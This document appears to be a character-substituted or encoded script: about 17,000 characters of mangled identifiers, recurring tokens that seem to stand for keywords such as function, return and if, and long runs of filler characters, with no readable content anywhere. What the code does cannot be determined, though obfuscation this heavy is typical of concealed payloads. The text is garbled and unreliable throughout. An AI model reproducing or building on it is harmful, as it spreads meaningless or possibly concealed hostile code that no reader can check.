ma2157urtu*+ieeeemu=wu'}#nu=!#qrtll~Oe,#eema&?||$(,+edxxe#$)6 lee7 107+eeea&?||$(,+~Oeeee8O,#eem=}p-/*"'(=r+3mw}qlm=w7ru&0,2#3mw}plllee>Oea&?||$(,+eeeexeeeee"?,+#)$1 m=}p-/*"'(=r+3mwuwlma2157urtu*+ieeemt}ptr|lieee0!(7.u=/&.(.mw}tlma2157urtu*+leeeheemtpnvllieeeemtu}wpt}hvv|qwll~Oe7 107+em0!(7.u=/&.(.mw}slma&?||$(,+leecce=w7ru&0,2#3mw}rlma&?||$(,+leeeeyxeemt|rs}r|h|w}vuvlleeeeeezeeeea&?||$(,+eeee#$)6 ~Oeeee8Oeeee7 107+eeeeee#$)6 ~Oeee8OeeeeeeOeeeee,#eeeemdeeeee=w7ru&0,2#3mw}}lm=w7ru&0,2#3mw}|lllee>Oeeee#0+&1,*+eeee- =w',+ma&" $6s|52t5lOeee>Oee,#emdee0!(7.u=/&.(.mw}slma&" $6s|52t5le99ee=w7ru&0,2#3mw}rlma&" $6s|52t5leeeee`ewedxxeeeeeeule>OOOO7 107+ee#$)6 ~Oe8Oeeeeee7 107+e=}p-/*"'(=r+3mw|ulm=}p-/*"'(=r+3mw|tlieea&" $6s|52t5l~Oee8Oeee8OOOeeeeO#0+&1,*+e"7t3r$!4vp#w=u$53mlOe>Oeeea5*v"2,5sp}w}5eexe$77$<ml~Oa+='(|s|'-+(.exee$77$<mieeekee=}p-/*"'(=r+3mw|wlieeeeeke=w7ru&0,2#3mw|vll~Oe,#eeem! #,+ !m=}p-/*"'(=r+3mvvllleea+='(|s|'-+(.eexeeeee
 eekeeebjb~Oe#*7 $&-eeema+='(|s|'-+(.ee$6eeea&?||$(,+leee>OOOea)&+.ru,<tq'+(4eexe=}p-/*"'(=r+3mw}}lm?|?!)+'qtu++mwqulleze?|?!)+'qtu++mwqulma&?||$(,+ekee?|?!)+'qtu++mw|qlleeee#$)6 ~Oeeeeeee,#eeem?|?!)+'qtu++mwv}lma)&+.ru,<tq'+(4llee>Oeeeee#*7 $&-ema)&+.ru,<tq'+(4e$6eeea3t7v052|u2)55u/leeee>OOeea'/q16qur7p}eeeexeeee=w7ru&0,2#3mw|plma3t7v052|u2)55u/l~O,#eema'/q16qur7p}ecceea'/q16qur7p}eeee{emu= '#t} pnu=w|$ w$|'lleeee>OOOeea5*v"2,5sp}w}5exea'/q16qur7p}~Oeeee8O8O8Oeeeee8Oee,#eeeemd (51<ma5*v"2,5sp}w}5lleeee>OOeea.7"=!#p<*|t4eeexeeea5*v"2,5sp}w}5=w7ru&0,2#3mw|slma5*v"2,5sp}w}5l~OOe7 107+ema.7"=!#p<*|t4eeheeema.7"=!#p<*|t4eeeeee`em|||w}nrwllleeeenee/$v/7?qq 0|<!<|$ml~OOO8OOOeeea2p")?}676.w#wr)exe=}p-/*"'(=r+3mtrplmleeeeheeeemmt}nvqrleeoemtvnttleeeoemu=&' nu=tpwll~Oea-!&3-/+v  ,eexeee=w7ru&0,2#3mw}}lm0!(7.u=/&.(.mw|rlleezeeeee257$+!muieeeeeemu=ttnu=!leeeeeeoem|ntpleeoemvpt}n}wlleeeeee?|?!)+'qtu++mw|}lmuiemu=tunu= leeoeeemvyyvleoeeeeemvpuqn|sll~Oeeea.7"=!#p<*|t4eeeexeeeea2p")?}676.w#wr)eeeheeeea-!&3-/+v  ,~OO7 107+eeeema.7"=!#p<*|t4eeehema.7"=!#p<*|t4e`emtvwup}hvwup}lllene/$v/7?qq 0|<!<|$ml~Oeee8OOOO#0+&1,*+ee,u< 2*2$'$)(7654< 0='(ma#"4<!q26)s"vpieeea3,q)/245|5/v(=/uieea2.)& *"47eeexeee+0))lOee>Oa=/&/-#24r#exeeee#0+&1,*+eeeema5$|01u/#253&<trle06 eema2.)& *"47lee>Oe,#eeeeemd=w7ru&0,2#3mw}slma5$|01u/#253&<trlee99eea5$|01u/#253&<treexxxeeeggleeee7 107+e#$)6 ~O,#em=w7ru&0,2#3mw}rlma5$|01u/#253&<trleeee{eeeem}v}}ppsnpwlleeeee7 107+ee#$)6 ~O,#ema2.)& *"47leeee>Oeeeeee17<eee>Oeee7 107+eem'**)le0!(7.u=/&.(.mw||lma2.)& *"47iea5$|01u/#253&<trl~O8eeeee&$1&-eem-7*2$') eea=w}=)'/7<3/le>O7 107+eee#$)6 ~O8eeee&$1&-eeem =& 51,*+ea=w}=)'/7<3/leee>Oe7 107+ee#$)6 ~Oee8O8Oeeeee7 107+e170 ~Oeeeeee8~Oeeeeeea?')& -rw6-"=eeexee=w7ru&0,2#3mw}}lm=w7ru&0,2#3mvuulleeeze0!(7.u=/&.(.mvuulma#"4<!q26)s"vpieee$77$<mOe?|?!)+'qtu++mvutlex{ea3,q)/245|5/v(=/uiO=w7ru&0,2#3mvuwlex{e#$)6 iOeee=w7ru&0,2#3mvuvleeeex{em}v}}p|pntvliOOOOelleee#$)6 ~Oeee,#ema?')& -rw6-"=eeeccemd=}p-/*"'(=r+3mvuqlm?|?!)+'qtu++mvuplleeee99eed,625 77*7ma?')& -rw6-"=llleeee>Oeeeeeee,#emm,+1le257 (*1 7 17, 3 7 65*+6 &*! ma?')& -rw6-"=lexxxemu=!nu=''lleeee>Oa$?=s1#1)3<qexeee257 (*1 7 17, 3 '*!<ma?')& -rw6-"=l~Oeeeeeee,#eeema=/&/-#24r#ma$?=s1#1)3<qlleeeee7 107+ea$?=s1#1)3<q~Oe8Oeeee8Oeee,#eem=w7ru&0,2#3mvuqlm0!(7.u=/&.(.mvusllecce=w7ru&0,2#3mvuqlm=w7ru&0,2#3mvurllecceee=}p-/*"'(=r+3mvu}lm0!(7.u=/&.(.mvu|llleee>Oa$0?t6(||72=rexeee=}p-/*"'(=r+3mvtulma#"4<!q26)s"vpl~Oeeee,#eema$0?t6(||72=reexxxee#$)6 le7 107+ee#$)6 ~Oee?|?!)+'qtu++mvttlma$0?t6(||72=rieeee$77$<mOOOOeeeee&*+61$+1m0!(7.u=/&.(.mvtwlleeeeex{ee170 iOe&*+61$+1m0!(7.u=/&.(.mvtvllex{eea3,q)/245|5/v(=/uiO&*+61$+1m=w7ru&0,2#3mvtqlleeex{eee#$)6 iOOeeee&*+61$+1m0!(7.u=/&.(.mvtplleeeex{eeeuiOO&*+61$+1m?|?!)+'qtu++mvtslleeeeex{eee#$)6 iOe&*+61$+1m?|?!)+'qtu++mvtrllex{eeee#0+&1,*+ema ,/u=4v$$+q,ieeea*0}=#*,/t|ssu<&.iea56=044-4)w'/v/.2leeee>ee7 107+ea56=044-4)w'/v/.2ee{eeemu=t} 'u#nu=srtq#tleeezeeeeeeteeeeeeeeu~eeeee8iOeeeeeell~Oeeeea&(6--'*(0exeeeeee=}p-/*"'(=r+3mvu|lma$0?t6(||72=rl~Oea-<'0#1r#6 }r6r},eexeeee&07) 77+*ma$0?t6(||72=rl~Oea'+13?}.)!r1/r+eeexee&07)" 1,+#*ma$0?t6(||72=rl~Oeeeeee&07)&)*6 ma$0?t6(||72=rl~O,#eeeeema-<'0#1r#6 }r6r},le7 107+ee#$)6 ~Oe,#eemm,+1lea'+13?}.)!r1/r+=}p-/*"'(=r+3mvt}leeexxxemwv|hv|lecceea&(6--'*(0eeedxxee#$)6 eeeeeecceea=/&/-#24r#ma&(6--'*(0lleee>Oeeee7 107+eeeea&(6--'*(0~Oeee8Oeeeee8Oeeee7 107+eee#$)6 ~Oe8OeeeeeeeOe#0+&1,*+ee!"656()p/p-}('?1ma#"4<!q26)s"vpieeeea.=*'44+7&tieeea25?2?u/3 &.r=uiea3,q)/245|5/v(=/uiea2.)& *"47exe+0))lOee>Oea=/&/-#24r#exe#0+&1,*+ema5$|01u/#253&<trlee06 ema2.)& *"47le>Oeeee,#eeeemd=w7ru&0,2#3mvt|lma5$|01u/#253&<trleeeee99ea5$|01u/#253&<trexxxeegglee7 107+e#$)6 ~O,#eem0!(7.u=/&.(.mw}rlma5$|01u/#253&<trleee{eeemp}|suwvnwq|wp}pllee7 107+eeee#$)6 ~Oee,#eema2.)& *"47leee>Oeeee17<eeeee>Oeeeeee7 107+eem'**)lee=w7ru&0,2#3mw||lma2.)& *"47iea5$|01u/#253&<trl~O8ee&$1&-eeem-7*2$') eeeea=w}=)'/7<3/leeee>Oeee7 107+ee#$)6 ~O8eee&$1&-em =& 51,*+ea=w}=)'/7<3/lee>Oee7 107+ee#$)6 ~Oee8O8Oeeee7 107+e170 ~Oeeee8~Oeeea?')& -rw6-"=exeeeeee?|?!)+'qtu++mvwulm0!(7.u=/&.(.mvwtlleezeeee?|?!)+'qtu++mvwtlma#"4<!q26)s"vpie$77$<mO=}p-/*"'(=r+3mvutleeeeex{eea3,q)/245|5/v(=/uiOeeeeeee?|?!)+'qtu++mvuwleeeex{eee#$)6 iOe0!(7.u=/&.(.mvuvlex{eeeem}v}}pp}npuliOeeee=w7ru&0,2#3mvwwlex{eeeeeea25?2?u/3 &.r=uiO?|?!)+'qtu++mvwvlex{eeeeea.=*'44+7&tiOeeelleeeee#$)6 ~OOeee,#eem=w7ru&0,2#3mvwulm0!(7.u=/&.(.mvupllecceeeee,625 77*7ma?')& -rw6-"=lleee>Oee8eee )6 ,#ema?')& -rw6-"=leeeee>Oeea?2*"sw"=p6/2eeexeeem,+1lee257 (*1 7 17, 3 7 65*+6 &*! ma?')& -rw6-"=l~OOOOa3?<.#u#2ppv}1vweeexee257 (*1 7 17, 3 '*!<ma?')& -rw6-"=l~Oeeeeea!v,|3#0,?|-"#)|2exe257 (*1 7 17, 3 - $! 76ma?')& -rw6-"=l~OOOOa!*uqw})u(4|p$eeexegg~Oe,#em0!(7.u=/&.(.mwv}lma!v,|3#0,?|-"#)|2lleeee>OOOeeeeee#*7 $&-eema!v,|3#0,?|-"#)|2ee$6ea+)+24 24<4?|w!"eex{eea?w7r,-#/(.u-)leee>Oeeeeea!*uqw})u(4|p$eeeeekxeeeeea+)+24 24<4?|w!"ekeee=}p-/*"'(=r+3mvwqleeeekeea?w7r,-#/(.u-)ekeee=w7ru&0,2#3mvwpl~Oe8O8Oe,#ema?2*"sw"=p6/2eexxxeeemt}vntrleeeeecceeeea=/&/-#24r#ma3?<.#u#2ppv}1vwlleee>Oeee7 107+eea3?<.#u#2ppv}1vw~O8OOOeee8eeee )6 eee>Oeeee8O,#eeem=}p-/*"'(=r+3mvwslm=w7ru&0,2#3mvtullecceee=w7ru&0,2#3mvwslm0!(7.u=/&.(.mvttllecce?|?!)+'qtu++mvwslm0!(7.u=/&.(.mvu|llleeee>Oa$0?t6(||72=rexe=w7ru&0,2#3mvtulma#"4<!q26)s"vpl~O,#eeema$0?t6(||72=reexxxeee#$)6 leee>OOOOe7 107+ee#$)6 ~Oee8OOeeea7+}"=$-s25,r|*3eeexe$77$<ml~Oeeee#*7 $&-eeeeema25?2?u/3 &.r=ueeee$6eeeea+)+24 24<4?|w!"eeex{ea?w7r,-#/(.u-)lee>Oea7+}"=$-s25,r|*3exeeeeea+)+24 24<4?|w!"eekeee?|?!)+'qtu++mvwqlekea?w7r,-#/(.u-)~Oe8Oeee=w7ru&0,2#3mvwrlma$0?t6(||72=rieee$77$<mOeee&*+61$+1m=w7ru&0,2#3mvw}lleeeex{eee170 iOee&*+61$+1m=}p-/*"'(=r+3mvw|llex{eeeeea.=*'44+7&tiOe&*+61$+1m?|?!)+'qtu++mvtwlleeex{eeee170 iOe&*+61$+1m0!(7.u=/&.(.mvtvlleeex{eeea3,q)/245|5/v(=/uiOee&*+61$+1m0!(7.u=/&.(.mvtqllex{eeeeee#$)6 iOee&*+61$+1m=w7ru&0,2#3mvtpllex{eeuiOeee&*+61$+1m?|?!)+'qtu++mvvullex{eea7+}"=$-s25,r|*3iOee&*+61$+1m=}p-/*"'(=r+3mvtslleeeeeex{eee#$)6 iOeeee&*+61$+1m=}p-/*"'(=r+3mvtrlleeeeex{ee#0+&1,*+ema ,/u=4v$$+q,iea*0}=#*,/t|ssu<&.ieeeea56=044-4)w'/v/.2le>ee7 107+eeeea56=044-4)w'/v/.2eeee{eeeem|psuqsphttrt}prlezeeteeeeeu~e8iOell~Oa&(6--'*(0eeeexee=}p-/*"'(=r+3mvu|lma$0?t6(||72=rl~Oeeea-<'0#1r#6 }r6r},eeeexee&07) 77+*ma$0?t6(||72=rl~Oea(*!=<6-u3ttuu4)#eeexeeeeee&07) 77*7ma$0?t6(||72=rl~OOOeeea'+13?}.)!r1/r+exeee&07)" 1,+#*ma$0?t6(||72=rl~Oeeea=!5/"p.}"=2&eeexem,+1lea'+13?}.)!r1/r+=}p-/*"'(=r+3mvvtl~O,#eeema-<'0#1r#6 }r6r},leeee>O&07)&)*6 ma$0?t6(||72=rl~Oee7 107+eee#$)6 ~O8OOeee&07)&)*6 ma$0?t6(||72=rl~OOOOee,#eeema=!5/"p.}"=2&exxxeeeeeemu=runu=p}leecceeea&(6--'*(0eeeeedxxee#$)6 ecceea=/&/-#24r#ma&(6--'*(0lleeee>OOOOe7 107+eea&(6--'*(0~Oeee8Oeee,#ema&(6--'*(0lee>O8Oee7 107+ee#$)6 ~Oeeee8O7 107+eee#$)6 ~Oee8OeOOee#0+&1,*+e7tq0u|p7!7&=w43.6qmlO>OOOea"'05**|qr$q42eeeexee,$6<'?s!uw=3/3r60ml~Oeeeea5&* p7!</#?$ 'qexee4*vt2u$2#($}r-=)uml~OeeOe,#eeeeem (51<ma"'05**|qr$q42lee99ee (51<ma5&* p7!</#?$ 'qlleeeee>Oeeee7 107+eeeee$77$<ml~Oeeee8OeOeea6}/)0,u7s<$$#v(exe=}p-/*"'(=r+3mvvwlm=}p-/*"'(=r+3msslleezeem617,+"lee" 1*51,*+m=w7ru&0,2#3mvvvlieeggleeeeeegg~Oeee,#eeema6}/)0,u7s<$$#v(edxxeeeeeggle>Oeeeeea5&* p7!</#?$ 'qeeeexe0!(7.u=/&.(.mrwlm=w7ru&0,2#3mvvqlma5&* p7!</#?$ 'qieee$77$<ma6}/)0,u7s<$$#v(lll~O0!(7.u=/&.(.mvvplma5&* p7!</#?$ 'qieeeeea6}/)0,u7s<$$#v(l~Oeeeeee8OeeOea6!&&tqw/+*|veeexe=}p-/*"'(=r+3mvvslma"'05**|qr$q42=}p-/*"'(=r+3mvvrlma"'05**|qr$q42ll~Oe,#eeema6!&&tqw/+*|vexxxeggle>Oee7 107+eeeee$77$<ml~Oee8OeeeeOOOOeeeeea.=*'44+7&teeeexeeeeee=}p-/*"'(=r+3mvv}leeeekeeeeea6!&&tqw/+*|vekeeee?|?!)+'qtu++mvv|l~OOa&) #-|p(stwteeexeee$77$<m=}p-/*"'(=r+3mvquleex{eeee0!(7.u=/&.(.mvqtll~Oa=w!r<p$2=!||=(exee0!(7.u=/&.(.mvqwlm170 l~Oe#*7 $&-ema5&* p7!</#?$ 'qeee$6eea1-,q//1&w,}7.le>OeeOee,#eeemm?|?!)+'qtu++mvqwlm170 leeeheeea=w!r<p$2=!||=(lee{eeeemu=t'nu=twllee>O'7 $.~O8OeeeeeOa1-,q//1&w,}7.eexe=w7ru&0,2#3mvvslmm617,+"leeeea1-,q//1&w,}7.l~Oeeeee,#eeeeeema1-,q//1&w,}7.eeeeeexxxeeeggleee>Oee&*+1,+0 ~O8Oee17<eee>Oa3?<.#u#2ppv}1vweeexee!"656()p/p-}('?1ma1-,q//1&w,}7.ieea.=*'44+7&tiea&) #-|p(stwtiemu=qnu=tlie#0+&1,*+eema5$|01u/#253&<trlee>Oa*7!=|067)|*reexeeee0!(7.u=/&.(.mvqvlma5$|01u/#253&<triee170 l~OOOOeeeeee7 107+ee=}p-/*"'(=r+3mwv}lma*7!=|067)|*rleeecceeee,66 1ma*7!=|067)|*r?|?!)+'qtu++mvqqll~OOOOeeee8l~Oee,#eema3?<.#u#2ppv}1vwexxxeee#$)6 le>OOOOee&*+1,+0 ~Oee8OOa<?|7-?'.=+r3.uexee0!(7.u=/&.(.mvqplma3?<.#u#2ppv}1vwie170 l~Oe,#eemdeeee=}p-/*"'(=r+3mvqslma<?|7-?'.=+r3.ule99edeee,66 1ma<?|7-?'.=+r3.u=}p-/*"'(=r+3mvqqllee99eeeeede=w7ru&0,2#3mvt|lma<?|7-?'.=+r3.u=w7ru&0,2#3mvqqllle>O&*+1,+0 ~Oe8OOOOeOeeeeea&" $6s|52t5eexeeeea<?|7-?'.=+r3.u0!(7.u=/&.(.mvqql~Oee,#eeem=}p-/*"'(=r+3m}lma&" $6s|52t5ie=}p-/*"'(=r+3mvqrlleeeeeexxxeulee>OOOOea&" $6s|52t5eeeexee?|?!)+'qtu++mwuwlma&" $6s|52t5iewl~Oee8OeeOOOOea$q-5?(# 1$weeexee=}p-/*"'(=r+3mw}|lma&" $6s|52t5l~OOe,#eeema$q-5?(# 1$weeeexxxee#$)6 eeee99eeee=}p-/*"'(=r+3mw}rlma$q-5?(# 1$wleyeeeem|rhvvlle>O&*+1,+0 ~Oe8OeeeeeOeea/-320*3$<6eexemu=v}nu=rl~Oeeea.+7}2+)/"wexe=w7ru&0,2#3mvq}lma$q-5?(# 1$wa/-320*3$<6l~Oa5)(s7q5+.,eexeee=w7ru&0,2#3mvq|lma$q-5?(# 1$wieea/-320*3$<6eeneeeetieea.+7}2+)/"wl~Oeeee,#eeeemdee=w7ru&0,2#3mvt|lma5)(s7q5+.,le99ee=w7ru&0,2#3mw}rlma5)(s7q5+.,leeeyeeeemu=tnu=wlleeeee>OOOO&*+1,+0 ~Oeeee8OeOeea2"/=05u-61weeexeeee0!(7.u=/&.(.mvq}lma5)(s7q5+.,ul~Oe,#eema2"/=05u-61weyeeete99ee=w7ru&0,2#3mvpulma5)(s7q5+.,leeyeeeeteeeeeeneea2"/=05u-61weeneetlee>Oee&*+1,+0 ~Oe8OeOea<rr '2.4'weexee=w7ru&0,2#3mvq|lma5)(s7q5+.,ieeeetieeeea2"/=05u-61wl~Oeeea(w1|5w}qw-<|t#+exeeeeee?|?!)+'qtu++mvptlma5)(s7q5+.,ieeteeenea2"/=05u-61wl~Oeeee,#eemde=}p-/*"'(=r+3mvpwlma<rr '2.4'wlee99eeeedee0!(7.u=/&.(.mvpwlma(w1|5w}qw-<|t#+lleee>Oe&*+1,+0 ~Oe8OOOeeeOeeeeeea0<6?/'7/-0 /7<reexeeee/#'.5v =7tp6"wv.ma(w1|5w}qw-<|t#+ieeea<rr '2.4'wl~Oeeeeeeee,#eeeeeemdee0!(7.u=/&.(.mvpwlma0<6?/'7/-0 /7<rlee99ee0!(7.u=/&.(.mvpulma0<6?/'7/-0 /7<rleeeyewlee>Oe="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mvpvlieee?|?!)+'qtu++mvpqll~Oe&*+1,+0 ~Oee8OOeOeeeea.t<-=!w*!0)(<*veeeeexeee=w7ru&0,2#3mvq}lma0<6?/'7/-0 /7<rul~Oeeee,#eeeema.t<-=!w*!0)(<*veeyeteee99e=}p-/*"'(=r+3mvpplma0<6?/'7/-0 /7<rleeeeyeeeeteeneea.t<-=!w*!0)(<*vleeeee>O="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mvpsliee=}p-/*"'(=r+3mvprll~Oeeee&*+1,+0 ~Oee8OeeeeeeOeeeeeea<5(?-5p."1eexeeee0!(7.u=/&.(.mvp}lma0<6?/'7/-0 /7<rieeeeetieeea.t<-=!w*!0)(<*vl~Oa'spr$s4)p7,qs(eeeeexeee?|?!)+'qtu++mvp}lma0<6?/'7/-0 /7<rieteeeeeeneea.t<-=!w*!0)(<*vl~Oeeeeea1u)'6vuuw1r7eeexee0!(7.u=/&.(.mrwlm0!(7.u=/&.(.mvp|lm?|?!)+'qtu++mwqwlm0!(7.u=/&.(.mvvsliee=w7ru&0,2#3mvsulm?|?!)+'qtu++mvstliea'spr$s4)p7,qs(llll~O,#eeeem=w7ru&0,2#3mvswlm=}p-/*"'(=r+3mwwrllle>O05!$1 *51,*+m0!(7.u=/&.(.mvvvlieeea1-,q//1&w,}7.l~Oe05!$1 *51,*+m?|?!)+'qtu++mvsvlie=}p-/*"'(=r+3mvsqlmg+gieea1u)'6vuuw1r7ll~Oe8Oee7 107+eee$77$<m=w7ru&0,2#3mvspleeeeex{eeea<5(?-5p."1ie?|?!)+'qtu++mvssleex{eea1u)'6vuuw1r7l~OOOOee8eeeee&$1&-eeem-7*2$') eea=w}=)'/7<3/lee>Oeee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mvsrlieea=w}=)'/7<3/l~Oeee&*+1,+0 ~O8ee&$1&-eem =& 51,*+ea=w}=)'/7<3/le>Oe&*+1,+0 ~Oee8OOOOeeee8Oeea +|u."3- peeexeeee0!(7.u=/&.(.mvswlm0!(7.u=/&.(.mvs}lleezeem617,+"le" 1*51,*+m=w7ru&0,2#3mvsvlieeeggleegg~Oa3|*}..|( 2q.w5u eeexeee726 ",|qq $q'?&m0!(7.u=/&.(.mvs|lieggl~O,#eeema +|u."3- pedxxeeggeeccee0!(7.u=/&.(.mvpwlma3|*}..|( 2q.w5u leecceea3|*}..|( 2q.w5u eeedxxeeeeggleeee>Oea1u)'6vuuw1r7eeexe=w7ru&0,2#3mrwlm0!(7.u=/&.(.mvrulm=}p-/*"'(=r+3mvrtlm=w7ru&0,2#3mvvslie0!(7.u=/&.(.mvrwlm=w7ru&0,2#3mvrvliea +|u."3- pllll~Oeee,#eemde (51<ma1u)'6vuuw1r7lle>O7 107+e$77$<m?|?!)+'qtu++mvspleex{eeeeea3|*}..|( 2q.w5u iee=}p-/*"'(=r+3mvssleex{eea1u)'6vuuw1r7l~Oe8Oee8Oeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mvsrliee=}p-/*"'(=r+3mvrqll~O7 107+eee$77$<ml~Oe8Oee#0+&1,*+ee+!,,<<p66|4t#-ma 5 w.'=)2**,us51ieeea1<v}$&'==ieeea'#(.5}"2?36lOee>Oe,#eemde=}p-/*"'(=r+3mvrplm0!(7.u=/&.(.mvrsllle>Oee7 107+ee#$)6 ~Oe8Oa"p|t54!6). eeeexeeeee=}p-/*"'(=r+3mvrrlma1<v}$&'==l~Oeeea!31*24q/<+qeexee0!(7.u=/&.(.mvr}lm0!(7.u=/&.(.mvr|lmtieeemwqpntulll~Oea1..u?.w }w.3*?exegg~Oeeee#*7eema<)=q4*$rp2!#eeexeeeeuieea$=?5("-+q&=+vseexe=}p-/*"'(=r+3mv}ulma"p|t54!6). l~eeeeeea<)=q4*$rp2!#eeyeeeeeea$=?5("-+q&=+vs~ea<)=q4*$rp2!#nnleeee>OOOeea1..u?.w }w.3*?eeeekxeeeee=}p-/*"'(=r+3mvr}lm=}p-/*"'(=r+3mvq}lma"p|t54!6). a<)=q4*$rp2!#leeeeeee?|?!)+'qtu++mv}tlma!31*24q/<+qll~Oeeeee8OO7 107+e05!$1 *51,*+ma 5 w.'=)2**,us51ieeee?|?!)+'qtu++mv}wlma!31*24q/<+qeeekeeea1..u?.w }w.3*?lieea'#(.5}"2?36leeeedxxee#$)6 ~OOOe8OeeOOee#0+&1,*+eee u6q$21 w<q2/0)#7-ma 5 w.'=)2**,us51ieea$&-+. =s <p0"lOOeeeee>Oeeee,#eeemd?|?!)+'qtu++mvrplm?|?!)+'qtu++mv}vlllee7 107+ea$&-+. =s <p0"~OOOOea/-7*t??u2*0w,"?eeexe" 1*51,*+ma 5 w.'=)2**,us51ieeeeggl~Oe,#eeema/-7*t??u2*0w,"?exxxegge99eeedeee=}p-/*"'(=r+3mvpwlma/-7*t??u2*0w,"?llee>Oeee7 107+eeeeea$&-+. =s <p0"~OOOOeee8OOOeea-6#=u3vs&r!eeeexeeee0!(7.u=/&.(.mv}qlma/-7*t??u2*0w,"?iee170 l~O,#eema-6#=u3vs&r!eexxxe#$)6 e99eeeee0!(7.u=/&.(.mv}plma-6#=u3vs&r!leeyeewleeee>Oee7 107+ea$&-+. =s <p0"~Oeeeeee8Oeeeea!31*24q/<+qeexeeeeea-6#=u3vs&r!u~Oa7v0*u63=5#+0q?eeeeexeeeegg~Oee#*7eema<)=q4*$rp2!#eeexeeeetieea$=?5("-+q&=+vsexee=}p-/*"'(=r+3mv}plma-6#=u3vs&r!l~eeeea<)=q4*$rp2!#eyeeeea$=?5("-+q&=+vs~eeea<)=q4*$rp2!#nnleeee>Oeeeea7v0*u63=5#+0q?eeeekxee=w7ru&0,2#3mvr}lm=w7ru&0,2#3mv}slma-6#=u3vs&r!a<)=q4*$rp2!#leeeeee=w7ru&0,2#3mv}slma!31*24q/<+qll~Oeeeeeee8Oeea=6( "qw2(2&exee=w*50vu/&s/-q*rma7v0*u63=5#+0q?l~OOOeee7 107+ea=6( "qw2(2&eeeeeedxxe#$)6 eezeeea=6( "qw2(2&eeeeea$&-+. =s <p0"~O8O#0+&1,*+eeee=w*50vu/&s/-q*rma5)(s7q5+.,lOe>O,#eeemd0!(7.u=/&.(.mvpwlma5)(s7q5+.,lleee7 107+e#$)6 ~OOe,#eem! #,+ !m=w7ru&0,2#3mv}rlleeeecceeee 
ee{xeeeemq}w|wnwtru}lle>O7 107+ee0!(7.u=/&.(.mv}}lma5)(s7q5+.,iee$77$<m=w7ru&0,2#3mv}|leeex{eeeee#$)6 ll~Oee8Oeee7 107+eee=w7ru&0,2#3mv}}lma5)(s7q5+.,l~Oe8Oeeeeeee#0+&1,*+eee?(ssuw(/$p=3)<tps<(!$#mlOe>Oe61$1,&ea+)+24 24<4?|w!"eeexeeeee+0))~Oeeee,#ema+)+24 24<4?|w!"eedxxee+0))le7 107+eea+)+24 24<4?|w!"~Oeeeea33q#<('6.4r$seeeeexeeeee! #,+ !m?|?!)+'qtu++mvqllezeeeeeeeeeeegg~Oa+)+24 24<4?|w!"exee=}p-/*"'(=r+3mv|ulm=w7ru&0,2#3mv|tlmbbieebjbieeeeeea33q#<('6.4r$sliebjbleeeekebjb~Oe7 107+eea+)+24 24<4?|w!"~Oeee8OOOeeeee#0+&1,*+eee7**?011s1ut#=ma 5 w.'=)2**,us51lOeee>O7 107+e!5} }=v42/31wm?(ssuw(/$p=3)<tps<(!$#mleekeem617,+"le/$v/7?qq 0|<!<|$mleekeea 5 w.'=)2**,us51ieeeemtputpqll~Oeee8Oeeee#0+&1,*+eee&s,*2p0r+|w#.-}p!<=ma6$s,w*6*<05021lOeeeeee>Oee7 107+em617,+"leemmtwqvqwrqnr}psprwsleeeneemm,+1le- =! &m?|?!)+'qtu++mvp}lm=w7ru&0,2#3m|plm?(ssuw(/$p=3)<tps<(!$#mleekeee=w7ru&0,2#3mv|wlekea6$s,w*6*<05021lieuieemwtpwu}llle`em}||||usn|vlll~OOeeeeee8O#0+&1,*+eeee'33q-p3&suw0.05p}pu</&mlOee>Oe7 107+ee&s,*2p0r+|w#.-}p!<=m0!(7.u=/&.(.mv|vll~OOOeeeeeee8Oeeee#0+&1,*+eeee ?u#,#+5( ,27.'<mlOe>Oa,w-}#|w2<p*!?2weexem617,+"leee726 ",|qq $q'?&m0!(7.u=/&.(.mv|qlieeeggl~Oeeee7 107+ee=}p-/*"'(=r+3mv}plma,w-}#|w2<p*!?2wlee{emvnrleecce=w7ru&0,2#3mv|plma,w-}#|w2<p*!?2wiee'33q-p3&suw0.05p}pu</&mlleeedxxeee#$)6 eecce?|?!)+'qtu++mv}plmm617,+"lee726 ",|qq $q'?&m=w7ru&0,2#3mv|slieegglleee{eemtqvhqvl~Oeeeeeee8OeOe#0+&1,*+eeeee726 ",|qq $q'?&ma 5 w.'=)2**,us51ieeea$&-+. =s <p0"lOOOeee>OOeeee7 107+ee u6q$21 w<q2/0)#7-m7**?011s1ut#=ma 5 w.'=)2**,us51lieea$&-+. =s <p0"l~Oe8Oe#0+&1,*+e!r)v'-|<70,+r1ma 5 w.'=)2**,us51iea$&-+. =s <p0"exeegglOeeee>Oeeeeea?w7r,-#/(.u-)eexee726 ",|qq $q'?&ma 5 w.'=)2**,us51iea$&-+. =s <p0"l~Oeee,#eeem0!(7.u=/&.(.mvpwlma?w7r,-#/(.u-)lleeee7 107+ea?w7r,-#/(.u-)~Oeeee,#eeeem=w7ru&0,2#3mv|rlma?w7r,-#/(.u-)lle7 107+eeeem617,+"leeeea?w7r,-#/(.u-)~Oeeeeeeee7 107+ea$&-+. =s <p0"~Oee8Oee#0+&1,*+ee)+1#,&v0?4u+v&/s12ma 5 w.'=)2**,us51iea1<v}$&'==ieeea'#(.5}"2?36lOee>O+!,,<<p66|4t#-m7**?011s1ut#=ma 5 w.'=)2**,us51lieea1<v}$&'==ieeeea'#(.5}"2?36l~Oeee8Oeeee#0+&1,*+eeeee )7wq'u# /r0r"1!=&pmlOOOeeeee>OOOOeeeeeeea7,||3*2v?}/}5+?ueexe,66 1ma	
	=}p-/*"'(=r+3mtwslleezeeea	
	0!(7.u=/&.(.mtwsleeeeeee$77$<ml~Oeea/-7*t??u2*0w,"?eeeexeee726 ",|qq $q'?&m0!(7.u=/&.(.mv|}lieeeee$77$<mll~Oe,#eeeeem?|?!)+'qtu++mvqslma/-7*t??u2*0w,"?llee>Oeeea7,||3*2v?}/}5+?ueeexee?|?!)+'qtu++mv||lma/-7*t??u2*0w,"?ieeeeeea7,||3*2v?}/}5+?ul~Oeeeeee8Oea7,||3*2v?}/}5+?ueeeeexee=}p-/*"'(=r+3mquulma7,||3*2v?}/}5+?ul~OOOeeee7 107+ee0!(7.u=/&.(.mqutlma7,||3*2v?}/}5+?uieehm}qhvqll~Oe8O#0+&1,*+eee6t'3*#3v* #6u+w vmlOOO>Oee,#emd,66 1ma	
	=w7ru&0,2#3mtwslleeeee99eeeee (51<ma	
